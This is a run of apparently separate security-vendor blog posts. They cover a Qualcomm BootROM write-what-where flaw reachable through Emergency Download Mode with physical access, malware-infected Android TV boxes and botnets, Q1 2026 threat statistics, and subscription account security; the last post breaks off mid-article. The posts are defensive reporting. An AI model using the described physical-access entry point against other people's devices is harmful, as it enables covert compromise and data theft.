Imagine handing your smartphone over for repair. A couple of days later, you pick it up — and great, it’s working again! But you won’t even realize that your device has been injected with malicious code, allowing attackers to access your smartphone even when it’s locked.

This is the beginning of the story shared by Kaspersky ICS CERT researchers, Alexander Kozlov and Sergey Anufrienko, at the Black Hat Asia 2026 conference. They managed to uncover a vulnerability that flips conventional assumptions about smartphone and IoT security on their head. Its core lies at the very heart of Qualcomm chips.

What is BootROM?

To grasp the severity of this discovery, we first need to look at how a modern device powered by a Qualcomm chip boots up. Think of it as a fortress with multiple layers of security. Each subsequent layer verifies the pass issued by the previous one. The bedrock foundation — the most trusted layer of them all — is the BootROM, a read-only memory baked directly into the silicon that can’t be modified once it comes off the fab.

The BootROM is the very first thing to run when a device powers on. It verifies the signature of the next bootloader, which in turn verifies the next, building a chain of trust all the way up to the operating system. If an attacker can compromise this chain at the BootROM level, it’s game over: the malicious code will execute before the main operating system even has a chance to load.

This is exactly what attackers can do by exploiting the CVE-2026-25262 vulnerability discovered by Kaspersky ICS CERT researchers.

Emergency Download Mode as an entry point

The research began with a protocol called Sahara. This is a component of Emergency Download Mode (EDL). Manufacturers and service centers use it to revive bricked devices: the phone is connected to a computer via USB, and a special utility program signed by the manufacturer (in this case, Qualcomm) is uploaded to it.

Sahara is implemented directly within the ARM PBL (Primary Boot Loader) — the BootROM itself. This means the protocol runs before any operating system boots, before any user access privileges are checked, and before any security controls are activated. The device simply waits for a USB connection, ready to accept data.

The communication scheme looks simple: the device sends a handshake (HELLO) to the computer, the computer selects the mode, a cycle begins to upload the utility program in chunks, and finally, the device executes the uploaded code. And it was within the verification logic of these very file chunks that the vulnerability was identified.

Write-what-where: the core of the vulnerability

In technical terms, the bug introduced by the developers is classified as CWE-123: Write-What-Where Condition. This is about as bad as it gets when it comes to flaws in low-level programming. An attacker can write arbitrary data to an arbitrary address in the device memory.

Without diving too deep into the technical weeds, suffice it to say that by exploiting the discovered vulnerability, attackers can gain access to any data on the device, including user-entered passwords, files, contacts, geolocation data, as well as the hardware sensors like the camera and microphone. In certain scenarios, complete control over the device is possible. Just a few minutes of physical access to the device via a cable connection, and the gadget has been compromised. This creates a risk if you hand your smartphone over to a repair shop, pass it to someone else to set up and install apps on, or just leave it unattended.

Which devices are affected

The CVE-2026-25262 vulnerability affects the following Qualcomm chip series: MDM9x07, MDM9x45, MDM9x65, MSM8909, MSM8916, MSM8952, and SDX50 — every single version released to date, until the vulnerability is patched by the manufacturer.

These are no obsolete museum pieces. The MDM9207, which we used for the bulk of our research, is integrated into modem modules for the internet of things (IoT), industrial equipment, smart home devices, healthcare monitoring systems, logistics trackers, and banking terminals. The MSM8916 powers many budget smartphones, while the SDX50 is used in automotive control units.

How vulnerable devices get attacked

The catch is that the attacker needs physical access to the device to pull this off. In the real world, this translates to:

• Smartphone repairs at third-party repair shops, where the phone is left for several hours
• Customs checkpoints in certain countries, where devices are withheld, inspected, and then returned
• Lost and found scams, where your phone is stolen, tampered with, and then mysteriously found
• Corporate espionage via an insider or a rogue employee

With just a few minutes of physical access to the device an attacker can plant a backdoor so deep inside that standard research tools won’t even detect it in most cases.

Why there’s no patch — and what to do

Qualcomm was notified of the discovery in March 2025 and confirmed the vulnerability in its chips. To identify it, the vendor reserved CVE-2026-25262, and on April 20, 2026, Kaspersky ICS CERT published technical information on the vulnerability and recommendations for users.

Qualcomm included this vulnerability in its May security bulletin. While fixing already-made devices is fundamentally impossible, the company promised to make all future chips without this vulnerability.

If you currently own a device with an affected chip, use our recommendations below to help mitigate the risk of infection.

• Enforce strict physical control: don’t leave your devices unattended, especially when traveling or on business trips.
• Choose only authorized service centers for repairs and maintenance.
• Regularly update your firmware — this won’t patch the BootROM vulnerability, but it can eliminate many related vulnerabilities at higher levels.
• Use a Kaspersky for Android on your device. This will safeguard your gadget from other threats that, combined with this vulnerability, could lead to unpredictable consequences.

If you notice that your gadget with a vulnerable Qualcomm chip starts acting up — overheating when idle, reporting unexpected spikes in network traffic, or exhibiting strange app behavior — you may have fallen victim to this vulnerability. You can wipe the malicious code and reset your device to its baseline state simply by completely cutting its power. This means either pulling the battery or letting it drain all the way to zero until the gadget shuts down entirely. In this case, the malicious code will most likely not persist on the device — during our research, we were unable to confirm that it could achieve persistence in non-volatile memory.

Want to learn more about severe vulnerabilities in Android phones? Check out these posts:

• Attacks on 5G networks: the arms race continues
• Are geolocation services spying on you?
• Pixnapping vulnerability: unblockable screenshots of your Android phone
• Data theft during smartphone charging
• Trojan embedded in fake Android smartphones

Netflix, Apple TV+, Disney+, Hulu, Amazon Prime, YouTube Premium… The average law-abiding family today pays for five to 10 subscriptions just to watch their shows of choice, with the monthly bill easily crossing the hundred-dollar mark. It’s no surprise, then, that social media and online marketplaces are seeing a surge in demand for the “magic boxes” that popped up at the end of 2025: Android-powered TV boxes that promise to unlock thousands of channels and every streaming service subscription-free for a one-time purchase.

Ads for these devices are flooding TikTok and Instagram: smiling influencers unbox the SuperBoxes, plug them into a TV, and browse endlessly through channels. It looks like the ultimate life hack against subscription fatigue, right? In reality, it’s one of the easiest ways to invite a botnet into your home network.

What’s wrong with these cheap TV boxes?

Stories about malicious TV boxes have surfaced before, but right now, their marketing has reached a truly alarming scale.

At the end of 2025, analysts examined several models of the popular SuperBox device available from major retail stores and online marketplaces. The findings were deeply concerning: immediately upon powering up, the devices began pinging the servers of the Chinese messaging app Tencent QQ, as well as the Grass proxy service — effectively renting out the owner’s internet bandwidth to third parties.

Inside the firmware, researchers discovered applications completely uncharacteristic of a media player: a network scanner, a traffic analyzer, and tools for DNS hijacking. Consequently, the device not only streams pirated content but also scans the local network for other targets (including industrial SCADA interfaces), and stands ready to participate in DDoS attacks. The SuperBoxes were also found to contain folders with the telltale name “secondstage”, a textbook indication of multi-stage malware.

More recently, in April 2026, the Darknet Diaries podcast featured an interview with a security researcher known by the alias D3ada55, who shared plenty of intriguing details about these boxes — including the fact that they were still openly sold on major platforms like Amazon, Walmart, and Best Buy.

The infection chronicles: BADBOX to Keenadu

The SuperBox case is far from the only instance where Android devices have been turned into botnet nodes — or sold infected right out of the box. Here’s a look at the most recent cases:

• BADBOX 2.0. In July 2025, Google filed a lawsuit against the operators of a botnet that compromised over 10 million Android devices — mostly cheap TV boxes, tablets, and projectors lacking Google Play Protect certification. As we reported earlier, BADBOX 2.0 specifically targets TV boxes, operating simultaneously as a proxy network and an ad fraud engine.
• Kimwolf. In December 2025, the QiAnXin XLab team uncovered a DDoS botnet that had hijacked around 1.8 million Android devices. The infected hardware included generic models from off-brand manufacturers sporting high-profile names like TV BOX, SuperBox, XBOX, SmartTV, and others. The infection footprint was massive, with compromised devices shipped worldwide. Among the hardest-hit countries were Brazil, India, the U.S., Argentina, South Africa, the Philippines, and Mexico.
• Keenadu. Our experts discovered this malware lurking in the firmware of brand-new devices back November 2025, though it didn’t gain widespread attention until after we published a study about it in February 2026. Keenadu masquerades as legitimate system components, embedding itself even into facial-recognition unlock apps, potentially granting attackers access to biometrics, banking data, and personal messages.

All of these stories share the same origin: the Triada Trojan, first documented by our researchers back in 2016 and dubbed at the time “one of the most advanced mobile Trojans”. Over the past decade it has evolved from a standard piece of malware into a modular backdoor baked directly into firmware during manufacturing.

How the infection scheme works

Manufacturers of cheap TV boxes cut corners on absolutely everything: Google Play Protect certification, firmware audits, and security updates. Many of these devices run on the Android Open Source Project without any security guarantees whatsoever. Somewhere along the supply chain — whether at the factory, through a middleman, or at a distributor — a backdoor gets injected into the firmware image. Our experts suspect that the manufacturer itself might not even be aware of the compromise.

The sheer scale of the infection turns millions of identical boxes into the perfect foundation for a botnet: every compromised device represents a unique IP address that can be rented out to anyone. Botnet operators like Kimwolf monetize this not only through distributed DDoS attacks but also by reselling the bandwidth of infected smart TVs and streaming boxes.

What this means for you

An infected TV box sits right in your living room, connected to your home Wi-Fi. That means it can see smartphones running banking apps, network-attached storage (NAS) units holding family archives, IP cameras, smart locks, work laptops, and any other the devices connected to your Wi-Fi network.

With this kind of beachhead inside your home network, an attacker can intercept unencrypted traffic, spoof DNS requests, scan ports, and hunt for vulnerabilities on neighboring devices. On top of that, they can use your IP address for fraudulent activity. As a result, in the best-case scenario, your IP will end up blacklisted, and legitimate services will start blocking you for suspicious activity; in the worst-case scenario, law enforcement could come knocking on your door.

How to spot a potentially dangerous gadget

You should be on alert if a device:

• Is sold under a no-name brand like T95, X96Q, MX10, TV BOX, SuperBox, or some such
• Promises free lifetime access to paid premium services for a one-time fee
• Requires you to disable Google Play Protect, or install third-party APK files during the initial setup
• Lacks Play Protect certification entirely
• Is promoted through aggressive spam campaigns on social media

How to avoid hosting a botnet node

• Buy certified TV boxes that feature Google Play Protect, or purchase devices directly from reputable telecom operators and internet service providers.
• Isolate all smart home devices. Set up a separate Wi-Fi network on your home router for TV boxes, cameras, smart speakers, robot vacuums, and similar gear, while keeping smartphones, NAS units, and computers on the main network. This prevents malware from spreading to your critical gadgets.
• Regularly update the firmware on all your devices, and don’t forget about your router — it’s another vulnerable link in the chain.
• Remove any applications from your Android TV box that you didn’t install yourself, especially alternative app stores, Wi-Fi “boosters”, and “system cleaners”.
• Monitor your traffic. Modern routers and Kaspersky Premium can display which devices are connecting to where. Frequent connections from a media player to servers in China are a major security red flag.
• Install Kaspersky Premiumon all your devices — it protects against Trojans, and blocks the phishing pages often used to distribute infected APK files.
• Don’t disable Google Play Protect, and avoid installing APKs from shady sources — this is the primary infection vector that bypasses the official app store.
• If in doubt, return the TV box. A cheap streaming device isn’t worth risking your biometrics, banking data, or the reputation of your IP address.

Want to know how else to protect your smart home devices? Read more in our related posts:

• Are your TV, smartphone, and smart speakers eavesdropping on you?
• Is your router secretly working for foreign intelligence?
• Vulnerability in the Rubetek Home smart-home app
• Best smart home standards and how to implement them
• How to secure your smart home

IT threat evolution in Q1 2026. Mobile statistics
IT threat evolution in Q1 2026. Non-mobile statistics

In the third quarter of 2025, we updated the methodology for calculating statistical indicators based on the Kaspersky Security Network. These changes affected all sections of the report except for the statistics on installation packages, which remained unchanged.

To illustrate the differences between the reporting periods, we have also recalculated data for the previous quarters. Consequently, these figures may significantly differ from the previously published ones. However, subsequent reports will employ this new methodology, enabling precise comparisons with the data presented in this post.

The Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat information, voluntarily shared by users of Kaspersky solutions. The statistics in this report are based on KSN data unless explicitly stated otherwise.

The quarter in numbers

According to Kaspersky Security Network, in Q1 2026:

• More than 2.67 million attacks utilizing malware, adware, or unwanted mobile software were prevented.
• The Trojan-Banker category was the prevalent mobile malware threat with a 52.96% share of total detected applications.
• More than 306,000 malicious installation packages were discovered, including:
  • 162,275 packages related to mobile banking Trojans;
  • 439 packages related to mobile ransomware Trojans.

Quarterly highlights

The number of malware, adware, or unwanted software attacks on mobile devices decreased to 2,676,328 in Q1, down from 3,239,244 in the previous quarter.

Attacks on users of Kaspersky mobile solutions, Q3 2024 — Q1 2026 (download)

The overall drop in attack volume stems primarily from a reduction in adware and RiskTool detections. Nonetheless, this trend does not equate to a lower risk for mobile users. As shown later in this report, the number of unique users targeted by these threats remained relatively stable.

In Q1, Synthient researchers identified a link between the notorious Kimwolf botnet and the IPIDEA proxy network. This network was later taken down in cooperation with GTIG.

In early 2026, we discovered several apps on Google Play and the App Store that contained a new version of the SparkCat crypto stealer.

The Trojan code, meticulously concealed, was embedded into the infected Android apps. The obfuscated malicious Rust library was decrypted using a Dalvik-like virtual machine custom-built by the attackers. The iOS version of the malware also underwent several changes; specifically, the attackers began leveraging Apple’s proprietary Vision framework for optical character recognition (OCR).

Mobile threat statistics

The number of Android malware samples saw a slight increase compared to Q4 2025, reaching a total of 306,070.

Detected malicious and potentially unwanted installation packages, Q1 2025 — Q1 2026 (download)

The detected installation packages were distributed by type as follows:

Detected mobile apps by type, Q4 2025* — Q1 2026 (download)

* Data for the previous quarter may differ slightly from previously published figures due to certain verdicts being retrospectively revised.

Threat actors once again ramped up the production of new banking Trojans; as a result, this category overtook all others in volume, accounting for more than half of all installation packages.

Share* of users attacked by the given type of malicious or potentially unwanted app out of all targeted users of Kaspersky mobile products, Q4 2025 — Q1 2026 (download)

* The total percentage may exceed 100% if the same users encountered multiple attack types.

Following the surge in banking Trojan installation packages, the number of associated attacks also rose, causing Trojan-Banker apps to climb one spot in terms of their share of targeted users. Mamont variants emerged as the most prevalent banking Trojans, accounting for 73.5% of detections, with the rest of the users encountering Faketoken, Rewardsteal, Creduz, and other families.

Yet banking Trojans were still outpaced by adware and RiskTool-type unwanted apps when measured by the total number of affected users. Despite a decrease in their share of installation packages, these two app types retained their positions as the top two threats by attack volume. The most common adware detections involved HiddenAd (44.9%) and MobiDash (38.1%), while most frequently seen RiskTool apps were Revpn (67%) and SpyLoan (20.5%).

TOP 20 most frequently detected types of mobile malware

Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.

Verdict	%* Q4 2025	%* Q1 2026	Difference in p.p.	Change in ranking
Backdoor.AndroidOS.Triada.ag	2.62	7.09	+4.48	+10
DangerousObject.Multi.Generic.	6.75	5.84	-0.92	-1
DangerousObject.AndroidOS.GenericML.	3.52	5.51	+1.99	+6
Trojan-Banker.AndroidOS.Mamont.jo	0.00	5.28	+5.28
Trojan.AndroidOS.Fakemoney.v	5.40	3.44	-1.96	-1
Trojan-Downloader.AndroidOS.Keenadu.l	0.00	3.35	+3.35
Trojan-Banker.AndroidOS.Mamont.jx	0.00	3.09	+3.09
Backdoor.AndroidOS.Triada.z	4.87	3.08	-1.79	-2
Trojan.AndroidOS.Triada.fe	5.01	2.98	-2.02	-4
Backdoor.AndroidOS.Keenadu.a	2.07	2.73	+0.66	+6
Trojan-Banker.AndroidOS.Mamont.jg	0.34	2.37	+2.03
Trojan.AndroidOS.Triada.hf	2.15	2.23	+0.07	+3
Trojan.AndroidOS.Boogr.gsh	2.35	2.15	-0.20	0
Trojan.AndroidOS.Triada.ii	5.68	2.07	-3.60	-11
Backdoor.AndroidOS.Triada.ae	1.91	1.76	-0.16	+3
Backdoor.AndroidOS.Triada.ab	1.79	1.72	-0.08	+3
Trojan.AndroidOS.Triada.gn	2.38	1.58	-0.80	-5
Trojan-Banker.AndroidOS.Mamont.gg	1.56	1.50	-0.06	+2
Trojan.AndroidOS.Triada.ga	1.48	1.50	+0.01	+4
Backdoor.AndroidOS.Triada.ad	0.53	1.40	+0.87	+44

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The pre-installed Triada.ag backdoor rose to the top spot; it is similar to the older Triada.z version we documented previously. Because the same variant was pre-installed across a wide range of devices, the total number of affected users is aggregated. Consequently, Triada outpaced even Mamont, as users encountered a variety of Mamont variants, causing the share of that banking Trojan to spread across multiple rows. Other pre-installed Triada variants (Triada.z, Triada.ae, Triada.ab, and Triada.ad) also made the rankings. Furthermore, we observed increasing activity from the Keenadu.a backdoor, while diverse variants of the embedded Triada Trojan remained in the rankings.

Mobile banking Trojans

Q1 2026 saw a characteristic rise in mobile banking Trojan activity, with the number of packages totaling 162,275, a 50% increase compared to the prior quarter.

Number of installation packages for mobile banking Trojans detected by Kaspersky, Q1 2025 — Q1 2026 (download)

We saw a similar growth in the previous quarter, with banking Trojan volumes rising by 50% during that period as well. Various Mamont variants accounted for the absolute majority of packages and represented nearly every entry in the rankings of most frequent banking Trojans by affected user count.

TOP 10 mobile bankers

Verdict	%* Q4 2025	%* Q1 2026	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.jo	0.00	15.75	+15.75
Trojan-Banker.AndroidOS.Mamont.jx	0.00	9.22	+9.22
Trojan-Banker.AndroidOS.Mamont.jg	1.47	7.08	+5.61	+24
Trojan-Banker.AndroidOS.Mamont.gg	6.79	4.48	-2.32	-3
Trojan-Banker.AndroidOS.Mamont.ks	0.00	3.98	+3.98
Trojan-Banker.AndroidOS.Agent.ws	6.03	3.78	-2.25	-2
Trojan-Banker.AndroidOS.Mamont.hl	4.30	3.27	-1.03	+1
Trojan-Banker.AndroidOS.Mamont.iv	6.00	3.08	-2.92	-3
Trojan-Banker.AndroidOS.Mamont.jb	3.93	3.07	-0.86	+1
Trojan-Banker.AndroidOS.Mamont.jv	0.00	2.79	+2.79

* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.

IT threat evolution in Q1 2026. Non-mobile statistics
IT threat evolution in Q1 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q1 2026:

• Kaspersky products blocked more than 343 million attacks that originated with various online resources.
• Web Anti-Virus responded to 50 million unique links.
• File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
• 2938 new ransomware variants were detected.
• More than 77,000 users experienced ransomware attacks.
• 14% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were victims of Clop.
• More than 260,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Law enforcement success

In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.

A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.

In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.

In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.

In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.

Vulnerabilities and attacks

The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new variants

In Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.

Number of new ransomware modifications, Q1 2025 — Q1 2026 (download)

Number of users attacked by ransomware Trojans

Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.

Number of unique users attacked by ransomware Trojans, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by ransomware Trojans

	Country/territory*	%**
1	Pakistan	0.79
2	South Korea	0.64
3	China	0.52
4	Tajikistan	0.40
5	Libya	0.38
6	Turkmenistan	0.36
7	Iraq	0.35
8	Bangladesh	0.33
9	Rwanda	0.30
10	Cameroon	0.28

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

	Name	Verdict	%*
1	(generic verdict)	Trojan-Ransom.Win32.Gen	33.90
2	(generic verdict)	Trojan-Ransom.Win32.Crypren	6.38
3	WannaCry	Trojan-Ransom.Win32.Wanna	5.87
4	(generic verdict)	Trojan-Ransom.Win32.Encoder	4.68
5	(generic verdict)	Trojan-Ransom.Win32.Agent	3.80
6	LockBit	Trojan-Ransom.Win32.Lockbit	2.80
7	(generic verdict)	Trojan-Ransom.Win32.Phny	1.99
8	(generic verdict)	Trojan-Ransom.MSIL.Agent	1.96
9	(generic verdict)	Trojan-Ransom.Python.Agent	1.93
10	(generic verdict)	Trojan-Ransom.Win32.Crypmod	1.89

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new variants

In Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.

Number of new miner modifications, Q1 2026 (download)

Number of users attacked by miners

In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by miners

	Country/territory*	%**
1	Senegal	3.19
2	Turkmenistan	3.06
3	Mali	2.63
4	Tanzania	1.62
5	Bangladesh	1.06
6	Ethiopia	0.95
7	Panama	0.88
8	Afghanistan	0.79
9	Kazakhstan	0.77
10	Bolivia	0.75

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

In Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.

In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.

Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.

TOP 20 threats to macOS

Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.

Geography of threats to macOS

TOP 10 countries and territories by share of attacked users

Country/territory	%* Q4 2025	%* Q1 2026
China	1.28	1.97
France	1.18	1.07
Brazil	1.13	0.98
Mexico	0.72	0.52
Germany	0.71	0.45
The Netherlands	0.62	0.75
Hong Kong	0.49	0.53
India	0.42	0.48
Russian Federation	0.34	0.37
Thailand	0.24	0.27

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.

Distribution of attackers’ sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.

Attacks on IoT honeypots

The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.

Country/territory	Q4 2025	Q1 2026
United States	16.10%	23.74%
The Netherlands	15.78%	17.57%
Germany	12.07%	10.34%
Panama	7.72%	6.34%
India	5.32%	6.05%
Romania	4.05%	5.82%
Australia	1.62%	4.61%
Vietnam	4.21%	3.50%
Russian Federation	3.79%	2.35%
Sweden	2.25%	2.09%

China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.

Country/territory	Q4 2025	Q1 2026
China	53.64%	39.54%
Pakistan	14.27%	27.31%
Russian Federation	8.20%	8.25%
Indonesia	8.58%	6.71%
India	4.85%	4.66%
Brazil	0.06%	3.30%
Argentina	0.02%	2.51%
Nigeria	1.22%	1.38%
Thailand	0.01%	0.55%
Sweden	0.54%	0.55%

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

	Country/territory*	%**
1	Venezuela	9.33
2	Hungary	8.16
3	Italy	7.58
4	Tajikistan	7.48
5	India	7.21
6	Greece	7.13
7	Portugal	7.10
8	France	7.05
9	Belgium	6.83
10	Slovakia	6.80
11	Vietnam	6.62
12	Bosnia and Herzegovina	6.57
13	Canada	6.56
14	Serbia	6.50
15	Tunisia	6.36
16	Qatar	6.01
17	Spain	5.95
18	Germany	5.95
19	Sri Lanka	5.89
20	Brazil	5.88

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.73% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

	Country/territory*	%**
1	Turkmenistan	47.96
2	Tajikistan	31.48
3	Cuba	31.03
4	Yemen	29.59
5	Afghanistan	28.47
6	Burundi	26.93
7	Uzbekistan	24.81
8	Syria	23.08
9	Nicaragua	21.97
10	Cameroon	21.60
11	China	21.09
12	Mozambique	21.02
13	Algeria	20.64
14	Democratic Republic of the Congo	20.63
15	Bangladesh	20.44
16	Mali	20.35
17	Republic of the Congo	20.23
18	Madagascar	20.00
19	Belarus	19.78
20	Tanzania	19.52

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 11.55% of users’ computers during Q1.

Russia scored 11.92% in these rankings.

Have you ever tried to tally up how much you spend on subscriptions each month? Music, movies, gaming, language courses, delivery services, heated seats, and even the ability to chat with the Grok bot directly from your car — there’s a subscription for just about everything now. There’s even a subscription service specifically designed to… track your other subscriptions.

The number of subscriptions varies significantly depending on where you live, but statistically, 78% of adults worldwide have at least one paid subscription, with the average user juggling 5.6 active services. Furthermore, a large portion of these are family plans used by groups of close relatives… and sometimes other people: 37% of users share their subscriptions outside their immediate family.

Because subscription accounts, especially family plans, often contain sensitive personal data, they’ve become a prime target for cybercriminals. Today we look at how to manage your subscriptions securely, avoid having your accounts compromised, and keep from falling for scammers’ latest tricks.

Security of shared accounts and subscriptions

Why would anyone want to hack your subscription? Even if the service only offers entertainment, your account almost certainly contains sensitive information: your name, address, email, phone number, the names of other members, and other personally identifiable information. This data is then sold on the dark web and used for further attacks.

Attackers compromise subscription accounts either through social engineering and phishing, or by taking advantage of many users’ reliance on weak or leaked passwords. As we recently highlighted in our research, nearly half of all passwords worldwide can be cracked in less than a minute. Scammers then either resell existing subscriptions or slots in a family group at a discount, or they sign the victim up for new services, hoping the extra charges go unnoticed.

Finally, some middlemen don’t bother with hacking at all; they simply buy bulk subscriptions for a large number of devices, where the per-unit cost is typically much lower. They then resell individual slots in these plans on online marketplaces. As a result, a single “family” account can end up filled with people who are complete strangers to one another.

Sharing subscriptions with family and others

Many subscription owners think nothing of sharing access with family and friends. What could possibly go wrong?

The worst-case scenario from a security standpoint is when a single account is purchased and the owner shares the login and password with other users. This usually happens when people try to save money on a family plan by buying an individual subscription and sharing it. Some services even allow for different profiles, but they are all tied to a single account, meaning the credentials are shared. This is how streaming platforms like Hulu and Disney+ operate.

